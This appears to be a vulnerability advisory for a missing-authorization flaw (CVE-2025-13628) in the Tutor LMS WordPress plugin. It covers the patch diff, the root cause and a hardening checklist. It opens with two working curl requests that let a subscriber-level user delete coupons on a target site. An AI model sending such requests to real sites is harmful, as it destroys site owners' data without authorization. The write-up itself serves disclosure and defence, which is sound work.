The Exploit
Authenticated subscriber-level users can abuse Tutor LMS coupon management endpoints without needing administrator privileges.
curl -s -X POST 'https://TARGET/wp-admin/admin-ajax.php' \
-H 'Cookie: wordpress_logged_in_XXXXXXXXXXXXXXXX=...' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'action=bulk_action_handler&coupon_ids[]=42&bulk_action=delete'
curl -s -X POST 'https://TARGET/wp-admin/admin-ajax.php' \
-H 'Cookie: wordpress_logged_in_XXXXXXXXXXXXXXXX=...' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'action=coupon_permanent_delete&coupon_id=42'
The server accepts the subscriber’s request and proceeds with the coupon operation. The first request triggers a bulk coupon delete/trash action for coupon 42; the second permanently removes coupon 42. The response appears normal while the targeted coupon changes state or disappears from Tutor LMS coupon administration.
What the Patch Did
Before
if ( ! current_user_can( 'manage_options' ) ) {
tutor_utils()->error_message();
}
After
tutor_utils()->check_current_user_capability();
The patch replaced a weak manual privilege check with a centralized capability enforcement helper. Instead of merely emitting an error when the user lacks manage_options, the fixed code now enforces authorization through tutor_utils()->check_current_user_capability(), which aborts the request on failure.
Root Cause
This is an improper authorization flaw (CWE-862). The vulnerable controller methods accepted attacker-controlled POST data for coupon actions and only performed a soft failure when the current user was not an administrator. Because tutor_utils()->error_message() did not terminate execution, the request continued into bulk_action_handler() and coupon_permanent_delete() with coupon_ids[], bulk_action, and coupon_id still usable, crossing the privilege boundary unchecked.
Why It Works
The single load-bearing fix is the call to tutor_utils()->check_current_user_capability(). That helper replaces the old if (! current_user_can(...)) { tutor_utils()->error_message(); } branch and is responsible for both checking privileges and stopping unauthorized requests. If the helper were removed or if the old code path were restored, the controller would still execute the sensitive coupon logic after a failed capability check. The rest of the patch is about standardizing enforcement rather than adding new business logic.
Hardening Checklist
- Use
current_user_can()at the start of admin/ajax handlers and fail fast if the capability is missing. - Protect destructive POST requests with
check_admin_referer()orwp_verify_nonce(). - Use
wp_die()orwp_send_json_error()on authorization failure so execution cannot continue. - Normalize and validate resource IDs with
absint()or similar sanitizers before acting on them. - Centralize permission enforcement in a reusable helper to avoid inconsistent authorization behavior.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-13628